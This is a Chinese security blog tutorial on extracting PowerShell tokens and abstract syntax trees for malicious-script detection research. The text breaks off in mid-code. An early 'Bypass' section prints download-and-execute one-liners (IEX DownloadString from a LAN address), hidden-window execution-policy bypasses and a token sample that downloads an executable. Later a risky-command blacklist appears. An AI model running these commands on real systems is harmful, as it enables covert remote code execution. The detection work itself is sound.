“网络安全提高班”新的100篇文章即将开启,包括Web渗透、内网渗透、靶场搭建、CVE复现、攻击溯源、实战及CTF总结,它将更加聚焦,更加深入,也是作者的慢慢成长史。换专业确实挺难的,Web渗透也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

前文简单介绍了抽象语法树的抽取方法,通过官方提供的接口实现,包括抽象语法树可视化和节点提取。这篇文章将详细介绍Token关键词的抽取方法,它是指Powershell中具有特定含义的字段,主要通过官方提供的接口实现。希望这篇文章对您有帮助,也推荐大家去阅读论文,且看且珍惜。

文章目录

  • 一.Powershell基础知识
    • 1.高威胁
    • 2.基础语法
    • 3.Bypass
  • 二.powershell.one
    • 1.概念
    • 2.访问AST
  • 三.Tokenizing PowerShell Scripts
    • 1.Token多彩的世界
    • 2.PSParser 概述
    • 3.Tokenizing PowerShell
  • 四.Token提取实例
    • 1.基础用法
      • (1) 提取AST
      • (2) 提取Token
      • (3) 提取变量和命令列表
    • 2.批量分析
    • 3.提取token对应的text
  • 五.自动提取Powershell的AST和Token实例
  • 六.总结

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

  • 自学篇工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
  • 系统安全:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

提高篇:(自学系列100篇目录放在文章末尾)

  • [网络安全提高班] 一〇一.网络空间安全普及和医疗数据安全防护总结
  • [网络安全提高篇] 一〇二.Metasploit技术之基础用法万字详解及MS17-010漏洞复现
  • [网络安全提高篇] 一〇三.Metasploit后渗透技术之信息收集、权限提权、移植漏洞模块和后门
  • [网络安全提高篇] 一〇四.网络渗透靶场Oracle+phpStudy本地搭建万字详解(SQL注入、XSS攻击、文件上传漏洞)
  • [网络安全提高篇] 一〇五.SQL注入之揭秘Oracle数据库注入漏洞和致命问题(联合Cream老师)
  • [网络安全提高篇] 一〇六.SQL注入之手工注入和SQLMAP入门案例详解
  • [网络安全提高篇] 一〇七.安全威胁框架理解及勒索病毒取证溯源分析(蓝队)
  • [网络安全提高篇] 一〇八.Powershell和PowerSploit脚本攻击详解 (1)
  • [网络安全提高篇] 一〇九.津门杯CTF的Web Write-Up万字详解(SSRF、文件上传、SQL注入、代码审计、中国蚁剑)
  • [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
  • [网络安全提高篇] 一一一.ISC会议观后感之网络安全需要新战法和新框架
  • [网络安全提高篇] 一一二.DataCon Coremail邮件安全竞赛之钓鱼邮件识别及分类
  • [网络安全提高篇] 一一三.Powershell恶意代码检测 (1)论文总结及抽象语法树(AST)提取
  • [网络安全提高篇] 一一四.Powershell恶意代码检测 (2)抽象语法树自动提取万字详解
  • [网络安全提高篇] 一一五.Powershell恶意代码检测 (3)Token关键词自动提取

一.Powershell基础知识

1.高威胁

近年来,Powershell 由于其易用性强、隐蔽性高的特点被广泛应用于 APT 攻击中,传统的基于人工特征提取和机器学习方法的恶意代码检测技术在 Powershell 恶意代码检测中越来越难以有效。

Microsoft 的 PowerShell 是一种命令行 shell 和脚本语言,默认安装在 Windows 机器上。它基于微软的.NET 框架,包括一个允许程序员访问操作系统服务的接口。虽然管理员可以配置 PowerShell 以限制访问和减少漏洞,但可以绕过这些限制。此外,PowerShell 命令可以轻松地动态生成、从内存中执行、编码和混淆,从而使 PowerShell 执行的代码的日志记录和取证分析具有挑战性。

由于这些原因,PowerShell 越来越多地被网络犯罪分子用作其攻击工具链的一部分,主要用于下载恶意内容和横向移动。事实上,赛门铁克最近一份关于 PowerShell 被网络犯罪分子滥用的综合技术报告报告称,他们收到的恶意 PowerShell 样本数量以及使用 PowerShell 的渗透工具和框架的数量急剧增加。这凸显了开发检测恶意 PowerShell 命令的有效方法的迫切需要。


2.基础语法

此外,在渗透测试中,Powershell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有良好的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在一台计算机上运行代码,就会下载PowerShell脚本文件(.ps1)到磁盘中执行,甚至无须写到磁盘中执行,它就可以直接在内存中运行。

这些特点使得PowerShell在获得和保持对系统的访问权限时,成为攻击者首选的攻击手段,利用PowerShell的诸多特点,攻击者可以持续攻击而不被轻易发现。常用的PowerShell攻击工具有以下几种。

  • PowerSploit
    这是众多PowerShell攻击工具中被广泛使用的PowerShell后期漏洞利用框架,常用于信息探测、特权提升、凭证窃取、持久化等操作。
  • Nishang
    基于PowerShell的渗透测试专用工具,集成了框架、脚本和各种Payload,包含下载和执行、键盘记录、DNS、延时命令等脚本。
  • Empire
    基于PowerShell的远程控制木马,可以从凭证数据库中导出和跟踪凭据信息,常用于提供前期漏洞利用的集成模块、信息探测、凭据窃取、持久化控制。
  • PowerCat
    PowerShell版的NetCat,有着网络工具中的“瑞士军刀”美誉,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,读者可以在脚本中以多种方式使用它。

在PowerShell下,类似“cmd命令”叫作“cmdlet”,其命名规范相当一致,都采用“动词-名词”的形式,如New-Item,动词部分一般为Add、New、Get、Remove、Set等,命名的别名一般兼容Windows Command和Linux Shell,如Get-ChildItem命令使用dir或ls均可,而且PowerShell命令不区分大小写。

下面以文件操作为例讲解PowerShell命令的基本用法。

  • 新建目录:New-Item whitecellclub-ItemType Directory
  • 新建文件:New-Item light.txt-ItemType File
  • 删除目录:Remove-Item whitecellclub
  • 显示文件内容:Get-Content test.txt
  • 设置文件内容:Set-Content test.txt-Value “hello,world!”
  • 追加内容:Add-Content light.txt-Value “i love you”
  • 清除内容:Clear-Content test.txt

举个简单的示例:

New-Item test -ItemType directory
Remove-Item test
New-Item eastmount.txt -ItemType file -value "hello csdn"  Get-Content eastmount.txt
Add-Content eastmount.txt -Value " bye!"
Get-Content eastmount.txt Set-Content eastmount.txt -Value "haha"
Get-Content eastmount.txt
Clear-Content eastmount.txt
Get-Content eastmount.txt
Remove-Item eastmount.txt
Get-Content eastmount.txt


3.Bypass

经过测试,在cmd窗口执行过程下载的PowerShell脚本,不论当前策略,都可以直接运行。而如果要在PowerShell窗口运行脚本程序,必须要管理员权限将Restricted策略改成Unrestricted,所以在渗透时,就需要采用一些方法绕过策略来执行脚本。

(1) 下载远程PowerShell脚本绕过权限执行
调用DownloadString函数下载远程的ps1脚本文件。

//cmd窗口执行以下命令
powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')//在powershell窗口执行
IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

下图引用谢公子的图片,切换到CMD窗口运行。

(2) 绕过本地权限执行
上传xxx.ps1至目标服务器,在CMD环境下,在目标服务器本地执行该脚本,如下所示。

PowerShell.exe -ExcutionPolicy Bypass -File xxx.ps1powershell -exec bypass  .\test.ps1

(3) 本地隐藏绕过权限执行脚本

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo
-NonInteractive -NoProfile -File xxx.ps1

举个示例:

  • powershell.exe -exec bypass -W hidden -nop test.ps1

(4) 用IEX下载远程PS1脚本绕过权限执行

PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden-NoProfile
-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[Parameters]

函数定义:

function Test-MrParameter {param ([string]$ComputerName)Write-Output $ComputerNameWrite-Output ($ComputerName+$ComputerName)Write-Output ($ComputerName+$ComputerName+$ComputerName)
}

查看和使用函数:

Get-Command -Name Test-MrParameter -Syntax
Test-MrParameter -ComputerName 'this is a computer name'
pause

输出结果:

Test-MrParameter [[-ComputerName] <Object>]this is a computer name
按 Enter 键继续...:

二.powershell.one

PowerShell 的抽象语法树作为代码的语义表达,以多叉树的形式表示脚本功能的逻辑结构,保留了代码上下文的特征并剔除无关的参数干扰,是分析功能类似的PowerShell代码的有效方法 。常见方法是使用接口或编写自定义程序实现。前文介绍了第一种方法,这篇文章将介绍官方提供的接口。

  • Deobshell
    https://github.com/thewhiteninja/deobshell
  • powershell.one => Convert-CodeToAst
    https://powershell.one/powershell-internals/parsing-and-tokenization/abstract-syntax-tree#ast-object-inheritance

Windows 为PowerShell提供了访问脚本AST的接口,使用内置接口获取的 AST 结构如图所示。

The Abstract Syntax Tree (AST) groups tokens into meaningful structures and is the most sophisticated way of analyzing PowerShell code.

1.概念

PowerShell解析器将单个字符转换为有意义的关键字并区分例如命令、参数和变量,这称为标记化,之前已介绍过。例如,编辑器使用这些标记为代码着色并以与命令不同的颜色显示变量。

解析器并不止于此。为了让PowerShell执行代码,它需要知道各个令牌如何形成可以执行的结构。解析器获取标记并构建一个抽象语法树(AST),它基本上将标记分组为有意义的结构。

抽象语法树之所以称为树,是因为它的工作方式类似于分层树。PowerShell从第一个标记开始,然后采用PowerShell语言定义(语法)来查看下一个可能的标记可能是什么。这样,解析器就可以通过代码工作。

  • 情况1:PowerShell成功并创建代码的有效结构
  • 情况2:遇到并引发语法错误


2.访问AST

从PowerShell 3 开始,抽象语法树向您公开,因此您现在也可以分析PowerShell代码并了解其内部结构。访问 AST 的主要方法有两种:

  • ScriptBlock(代码块):一个scriptblock是一个有效的PowerShell代码块,所以它已经被解析器处理过了,并且解析器保证代码中没有语法错误。每个scriptblock都有一个名为AST的属性,它公开了scriptblock中包含的代码的抽象语法树。
  • Parser(解析器):您可以要求PowerShell解析器解析任意代码并返回令牌和AST。当您输入和执行代码时,您基本上是在模仿PowerShell所做的事情。因为解析器处理原始文本,所以不能保证代码在语法上是正确的。这就是解析器还返回它发现的任何语法错误的原因。

查看AST的简单示例如下图所示,您可以查看解析器构建的抽象语法树(AST)。

$code.Invoke()
$code = { "Hello" * 10 }
$code.Ast

输出结果如下图所示:

这可以用来创建一个简单的测试函数来识别PowerShell代码

function Test-PowerShellCode
{param([string]$Code)try{# try and convert string to scriptblock:$null = [ScriptBlock]::Create($Code)}catch{# the parser is invoked implicitly and returns# syntax errors as exceptions:$_.Exception.InnerException.Errors}
}

抽象语法树(AST) 是Ast对象的树。这棵树的顶部是解析器返回给您的内容。遍历抽象语法树时遇到的任何Ast对象都具有Parent和Extent属性。Parent定义树关系,Extent定义Ast对象涵盖的PowerShell代码。

常见方法如下:

Name                   Signature
----                   ---------
Copy                   System.Management.Automation.Language.Ast Copy()
Find                   System.Management.Automation.Language.Ast Find(System.Func[System.Management.Automation.Language.Ast,bool] predicate, bool searchNestedScriptBlocks)
FindAll                System.Collections.Generic.IEnumerable[System.Management.Automation.Language.Ast] FindAll(System.Func[System.Management.Automation.Language.Ast,bool] predicate, b...
Visit                  System.Object Visit(System.Management.Automation.Language.ICustomAstVisitor astVisitor), void Visit(System.Management.Automation.Language.AstVisitor astVisitor)

三.Tokenizing PowerShell Scripts

通过将 PowerShell 代码转换为标记和结构,您可以发现错误、自动记录您的代码并创建强大的重构工具。

  • https://powershell.one/powershell-internals/parsing-and-tokenization/simple-tokenizer

1.Token多彩的世界

每当您将PowerShell代码加载到专门的编辑器中时,代码都会被神奇地着色,如下图VS Code所示,并且每种颜色都代表一个给定的标记类型。颜色可以帮助您了解PowerShell如何解释您的代码。

没有内置PowerShell引擎(如notepad++或VSCode)的通用编辑器使用复杂的正则表达式来尝试正确识别tokens。然而,想要100%精确的tokens,可以直接使用PowerShell解析器(PowerShell Parser),而不是通用RegEx规则。在本文中,我们将分享PowerShell解析器的优点。

  • Token:本文理解为关键字段,自动解析每个标签的含义,比如变量定义、函数、关键词等。

接下来您将获得一个新的命令:

  • Test-PSOneScript

它能解析一个或数千个PowerShell文件并立即返回100%准确的Token。它是我们 PSOneTools 模块的一部分,因此只需安装最新版本即可使用该命令,或使用提供的源代码。

Install-Module -Name PSOneTools -Scope CurrentUser -Force

当我们得到Token(令牌)后,还可以做很多有趣的事情,例如:

  • 自动记录代码并创建在脚本中找到的变量、命令或方法调用列表
  • 识别导致解析器阻塞的语法错误
  • 使用有风险的命令执行安全分析并识别脚本

2.PSParser 概述

PSParser是PowerShell早期版本中内置的原始解析器。尽管它很旧,但它仍然是所有PowerShell版本的一部分,并且由于其简单性而非常有用。

它区分了 20 种不同的令牌类型:

PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]).Count
20PS> [Enum]::GetNames([System.Management.Automation.PSTokenType]) | Sort-Object
Attribute
Command
CommandArgument
CommandParameter
Comment
GroupEnd
GroupStart
Keyword
LineContinuation
LoopLabel
Member
NewLine
Number
Operator
Position
StatementSeparator
String
Type
Unknown
Variable

当您使用PSParser对PowerShell代码进行标记时,它会逐个字符地读取您的代码并将这些字符分组为有意义的单词,即tokens。如果PSParser遇到它不期望的字符,它会生成Syntax Errors,即当字符串以双引号开头但以单引号结尾时。


3.Tokenizing PowerShell

使用 Tokenize() 对PowerShell 代码进行标记。这是一个简单的例子,假设存在“get_token_001.ps1”代码。

Tokenize()需要您要标记的代码,以及一个可以填充任何语法错误的空变量。因为变量$errors在Tokenize启动时是空的,并且在方法解析代码时被填充,所以它需要通过引用(内存指针)提交,这在PowerShell中是通过[ref]完成的。

当Tokenize()完成时,您会在变量tokens中收到所有令牌作为返回值,以及errors中的任何语法错误。

  • $tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)
  • $syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message

具体代码如下:

# the code that you want tokenized:
$code = {# this is some test code$service = Get-Service |Where-Object Status -eq Running
}# create a variable to receive syntax errors:
$errors = $null
# tokenize PowerShell code:
$tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)# analyze errors:
if ($errors.Count -gt 0)
{# move the nested token up one level so we see all properties:$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$syntaxError
}
else
{$tokens
}

输出结果如下图所示,每个Token都由一个PSToken对象表示,该对象以字符串形式返回令牌内容、令牌类型以及找到令牌的确切位置。

  • 注释
Content     : # this is some test code
Type        : Comment
Start       : 4
Length      : 24
StartLine   : 2
StartColumn : 3
EndLine     : 2
EndColumn   : 27
  • 变量
Content     : service
Type        : Variable
Start       : 32
Length      : 8
StartLine   : 3
StartColumn : 3
EndLine     : 3
EndColumn   : 11
  • 运算
Content     : =
Type        : Operator
Start       : 41
Length      : 1
StartLine   : 3
StartColumn : 12
EndLine     : 3
EndColumn   : 13
  • 命令

Content     : Get-Service
Type        : Command
Start       : 43
Length      : 11
StartLine   : 3
StartColumn : 14
EndLine     : 3
EndColumn   : 25Content     : Where-Object
Type        : Command
Start       : 62
Length      : 12
StartLine   : 4
StartColumn : 5
EndLine     : 4
  • 实参和形参
Content     : Status
Type        : CommandArgument
Start       : 75
Length      : 6
StartLine   : 4
StartColumn : 18
EndLine     : 4
EndColumn   : 24Content     : Running
Type        : CommandArgument
Start       : 86
Length      : 7
StartLine   : 4
StartColumn : 29
EndLine     : 4
EndColumn   : 36

如果解析器在解析代码时遇到意外字符,则会生成语法错误。解析器继续解析,因此可能会返回多个语法错误。解析器为每个语法错误发出一个PSParseError对象,如下所示:


四.Token提取实例

要检查真正的基于文件的脚本,只需将上面的逻辑嵌入到管道感知函数中。Test-PSOneScript 正是这样做的,并使解析PowerShell文件变得轻而易举:

function Test-PSOneScript
{<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding Default# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message}  }
}

由于本文主要针对Powershell文件的token提取,所以检查语法错误的功能建议读者查看官方网站。

1.基础用法

解析单个文件,只需将其路径提交到Test-PSOneScript,它立即返回标记和任何语法错误(如果存在)。

$Path = "C:\Users\tobia\test.ps1"
$result = Test-PSOneScript -Path $Path

本文尝试解析“data\example-004.ps1”文件。该文件的Powershell内容如下:

$service = Get-Service | Where-Object Status -eq Running

(1) 提取AST

这里先给出一张上一篇文章解析的抽象语法树(AST)图。

function Convert-CodeToAst
{param([Parameter(Mandatory)]   # 强制参数[System.String]$str      # 执行ps文件名称)# 构建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 提取ps文件中的内容 Write-Output ("file name: {0}" -f ($str))$content = Get-content $strWrite-Output $content# 创建Scipt代码块$code = [ScriptBlock]::Create($content)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 递归可视化树function Visualize-Tree($Id, $Indent = 0){# 每级缩进$space = '--' * $indent$hierarchy[$id] | ForEach-Object {# 输出AST对象'{0}[{1}]: {2}' -f $space, $_.GetType().Name, $_.Extent# 获取当前AST对象的id$newid = $_.GetHashCode()# 递归其子节点(if any)if ($hierarchy.ContainsKey($newid)) {Visualize-Tree -id $newid -indent ($indent + 1)}}}# 使用AST根对象开始可视化Visualize-Tree -id $code.Ast.GetHashCode()return $result
}Convert-CodeToAst -str .\data\example-004.ps1

输出结果如下所示:

(2) 提取Token

提取单个文件Token的代码如下所示:

function Test-PSOneScript
{<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message}  }
}# 执行函数
$Path = ".\data\example-004.ps1"
$result = Test-PSOneScript -Path $Path
$errors = $result.Errors.Count -gt 0
$tokens = $result.Tokens.Type | Sort-Object -Unique# 输出结果
Write-Output ($result)
Write-Output ($errors,"`n")
Write-Output ($tokens)

其中,检查脚本文件是否有语法错误的核心代码如下:

$result.Errors.Count -gt 0
False

获取脚本中存在的所有令牌类型的列表核心代码如下:

$result.Tokens.Type | Sort-Object -Unique

最终输出结果如下图所示:

如果输入代码是“$a = 1”,则输出结果如下图所示:


(3) 提取变量和命令列表

要获取脚本中使用的所有变量的列表,只需过滤标记类型Variable。同样,如果您想获取脚本使用的命令列表,请过滤适当的令牌类型 ( Command )。

# 执行函数
$Path = ".\data\example-004.ps1"
$result = Test-PSOneScript -Path $Path
$errors = $result.Errors.Count -gt 0
$tokens = $result.Tokens.Type | Sort-Object -Unique
Write-Output ($result)
Write-Output ($errors,"`n")
Write-Output ($tokens,"`n")# 提取变量列表
$variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content}
Write-Output ("Get Variables:")
Write-Output ($variables,"`n")# 提取命令列表
$commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content
Write-Output ("Get Commands:")
Write-Output ($commands,"`n")# 提取.NET方法列表
$members = $result.Tokens | Where-Object Type -eq Member | Select-Object -ExpandProperty Content |Sort-Object -Unique
Write-Output ("Get Members:")
Write-Output ($members,"`n")

您甚至可以分析命令的使用频率。这将为您提供 10 个最常用的命令。

PS> $result.Tokens | Where-Object Type -eq Command | Select-Object -ExpandProperty Content |Group-Object -NoElement |Sort-Object -Property Count -Descending |Select-Object -First 10Count Name
----- ----                     51 Search-AD                49 New-Object               35 Write-Verbose            29 get-date                 25 %                        24 New-TimeSpan             24 Where                    21 select                   19 Sort-Object              17 Invoke-Method

2.批量分析

Test-PSOneScript不能一次只检查一个文件。它完全支持管道,并且知道如何处理Get-ChildItem.

(1) 查找有错误的脚本
如果您想在脚本库中的任何位置识别具有语法错误的脚本,只需运行Get-ChildItem以收集要测试的文件,并将它们通过管道传输到Test-PSOneScript如下所示:

# get all PowerShell files from your user profile...
Get-ChildItem -Path $home -Recurse -Include *.ps1, *.psd1, *.psm1 -File |# ...parse them...Test-PSOneScript |# ...filter those with syntax errors...Where-Object Errors |# ...expose the errors:ForEach-Object {[PSCustomObject]@{Name = $_.NameError = $_.Errors[0].MessageType = $_.Errors[0].TypeLine = $_.Errors[0].StartLineColumn = $_.Errors[0].StartColumnPath = $_.Path}}

(2) 识别有风险的命令
如果您想识别使用有风险命令的脚本,例如Invoke-Expression,只需调整过滤器。

$blacklist = @('Invoke-Expression', 'Stop-Computer', 'Restart-Computer')# get all PowerShell files from your user profile...
Get-ChildItem -Path $home -Recurse -Include *.ps1, *.psd1, *.psm1 -File |
# ...parse them...
Test-PSOneScript |
# ...filter those using commands in our blacklist
Foreach-Object {# get the first token that is a command and that is in our blacklist$badToken = $_.Tokens.Where{$_.Type -eq 'Command'}.Where{$_.Content -in $blacklist} | Select-Object -First 1if ($badToken){$_ | Add-Member -MemberType NoteProperty -Name BadToken -Value $badToken -PassThru}} |# ...expose the errors:ForEach-Object {[PSCustomObject]@{Name = $_.NameOffender = $_.BadToken.ContentLine = $_.BadToken.StartLineColumn = $_.BadToken.StartColumnPath = $_.Path}}

3.提取token对应的text

前面3.3部分介绍了一个案例,主要是调用PSToken Class提取Token内容,其属性是可以直接调用的。因此,接下来我们尝试提取token对应的text。

完整代码如下:

# 函数:提取Token内容
function Test-PSOneScript
{<#.SYNOPSISParses a PowerShell Script (*.ps1, *.psm1, *.psd1).DESCRIPTIONInvokes the simple PSParser and returns tokens and syntax errors.EXAMPLETest-PSOneScript -Path c:\test.ps1Parses the content of c:\test.ps1 and returns tokens and syntax errors.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Out-GridViewparses all PowerShell files found anywhere in your user profile.EXAMPLEGet-ChildItem -Path $home -Recurse -Include *.ps1,*.psm1,*.psd1 -File |Test-PSOneScript |Where-Object Errorsparses all PowerShell files found anywhere in your user profileand returns only those files that contain syntax errors.LINKhttps://powershell.one#>param(# Path to PowerShell script file# can be a string or any object that has a "Path" # or "FullName" property:[String][Parameter(Mandatory,ValueFromPipeline)][Alias('FullName')]$Path)begin{$errors = $null}process{# create a variable to receive syntax errors:$errors = $null# tokenize PowerShell code:$code = Get-Content -Path $Path -Raw -Encoding DefaultWrite-Output $code# return the results as a custom object[PSCustomObject]@{Name = Split-Path -Path $Path -LeafPath = $PathTokens = [Management.Automation.PSParser]::Tokenize($code, [ref]$errors)Errors = $errors | Select-Object -ExpandProperty Token -Property Message}  }
}# 执行函数
$Path = ".\data\example-004.ps1"
$result = Test-PSOneScript -Path $Path
$errors = $result.Errors.Count -gt 0
$tokens = $result.Tokens.Type | Sort-Object -Unique
Write-Output ($result)
Write-Output ($errors,"`n")
Write-Output ($tokens,"`n")# 提取变量列表
$variables = $result.Tokens | Where-Object Type -eq Variable | Sort-Object -Property Content -Unique | ForEach-Object { '${0}' -f $_.Content}
Write-Output ("Get Variables:")
Write-Output ($variables,"`n")# 提取命令列表
$commands = $result.Tokens | Where-Object Type -eq Command | Sort-Object -Property Content -Unique | Select-Object -ExpandProperty Content
Write-Output ("Get Commands:")
Write-Output ($commands,"`n")# 提取Token内容
$token_texts = $result.Tokens.Content
Write-Output ($token_texts.GetType())
$strToken = ''
foreach($elem in $token_texts) {$elem = $elem | Out-String   #Object转String$text = $elem.Trim()if($strToken.Length -ne 0) {  #不等于$text = " " + $text}$strToken = $strToken + $text
}
Write-Output ("Get Texts:")
Write-Output ($strToken,$strToken.Length)

输出结果如下图所示:

提取的Token被空格拼接,比如:

service = Get-Service | Where-Object Status -eq Running
powershell ( new-object system.net.webclient ) . downloadfile ( http://192.168.10.11/test.exe , test.exe ) ;

五.自动提取Powershell的AST和Token实例

最后作者结合上一篇文章提取CSV文件中的代码,实现AST和Token提取。其中CSV文件如下:

完整代码如下:

#------------------------------------------------------
# 第一部分:批量读取文件
# By: Eastmount CSDN 2022-03-12
#------------------------------------------------------
function Read_csv_powershell
{param ([parameter(Mandatory=$true)][System.String]$inputfile,[System.String]$outputfile)# 读取CSV文件$content = Import-CSV $inputfile$list = [System.Collections.ArrayList]@()foreach($line in $content) {$no = $line.("no")$code = $line.("decoded code")$name = $line.("family name")# Write-Output($no, $code, $name)# 转换抽象语法树AST和Tokentry {$ast = Convert-CodeToAst -str $codeWrite-Output($ast)$token = get_token_text -str $codeWrite-Output($token)} catch [System.Exception] {'exception info:{0}' -f $_.Eception.Messagecontinue}$list.add([PSCustomObject]@{no = $nocode = $codename = $nameast = $asttoken = $token})}$list | ConvertTo-Csv -NoTypeInformation | out-file $outputfile -Encoding ascii -ForceWrite-Output($list)
}#------------------------------------------------------
# 第二部分:提取并拼接AST节点内容
#------------------------------------------------------
function add_blanks
{param ([parameter(Mandatory=$true)][System.Array]$arr)$strNode = ''foreach($elem in $arr) {if($strNode.Length -ne 0) { #不等于$elem = " " + $elem}$strNode = $strNode + $elem}return $strNode
}# 函数:提取Powershell代码的抽象语法树(AST)
function Convert-CodeToAst
{param([Parameter(Mandatory)]   # 强制参数[System.String]$str      # 执行ps代码)# 构建hashtable$hierarchy = @{}$result = [System.Collections.ArrayList]@()# 创建Scipt代码块$code = [ScriptBlock]::Create($str)# 提取AST$code.Ast.FindAll( { $true }, $true) |ForEach-Object {# take unique object hash as key$id = 0;if($_.Parent) {$id = $_.Parent.GetHashCode()}Write-Debug('{0}:{1}' -f $_.GetType().Name,$id)if ($hierarchy.ContainsKey($id) -eq $false) {$hierarchy[$id] = [System.Collections.ArrayList]@()}$null = $hierarchy[$id].Add($_)# add ast object to parent}# 递归可视化树function Visualize-Tree($Id){# 每级缩进$hierarchy[$id] | ForEach-Object {# 获取当前AST对象的id$newid = $_.GetHashCode()# 递归其子节点(if any)if ($hierarchy.ContainsKey($newid)){Visualize-Tree -id $newid}$null = $result.Add($_.GetType().Name)}}# 使用AST根对象开始可视化Visualize-Tree -id $code.Ast.GetHashCode()# Write-Output ($result,"`n")# result存储根节点内容$strNode = add_blanks -arr $resultreturn $strNode
}#------------------------------------------------------
# 第三部分:提取并拼接Token内容
#------------------------------------------------------
# 函数:拼接Token内容
function get_token_text
{param ([Parameter(Mandatory)]   # 强制参数[System.String]$str      # 执行ps代码)# 创建Scipt代码块$code = [ScriptBlock]::Create($str)# 提取token$errors = $null$tokens = [System.Management.Automation.PSParser]::Tokenize($code, [ref]$errors)$syntaxError = $errors | Select-Object -ExpandProperty Token -Property Message$token_texts = $tokens.Content# Write-Output ($token_texts)# 拼接字符串$strToken = ''foreach($elem in $token_texts) {$elem = $elem | Out-String   #Object转String$text = $elem.Trim()if($strToken.Length -ne 0) {  #不等于$text = " " + $text}$strToken = $strToken + $text}# Write-Output ("Get Texts:")# Write-Output ($strToken,$strToken.Length)return $strToken
}#------------------------------------------------------
# 主函数:读取CSV文件并提取AST和Token
#------------------------------------------------------
$inputCSV = '.\data\data.csv'
$outputCSV = '.\data\data_AST_Token.csv'
Read_csv_powershell -inputfile $inputCSV -outputfile $outputCSV

最终输出结果如下图所示:

同时存储至本地。


注意,利用上述代码在对PS文件解析时,可能会报错误。查了很多资料都无解决方法。

  • 表达式或语句中包含意外的标记
  • CategoryInfo : NotSpecified: ( : ) [], MethodInvocationException

最后解决发现:是Create会解析Powershell代码,保证其无语法错误才创建代码块。这里使用另一种方法替换,即:

  • https://stackoverflow.com/questions/39909021/parsing-powershell-script-with-ast
$code = [Management.Automation.Language.Parser]::ParseInput($content, [ref]$tokens, [ref]$errors)

完整代码如下:

function Convert-CodeToAst
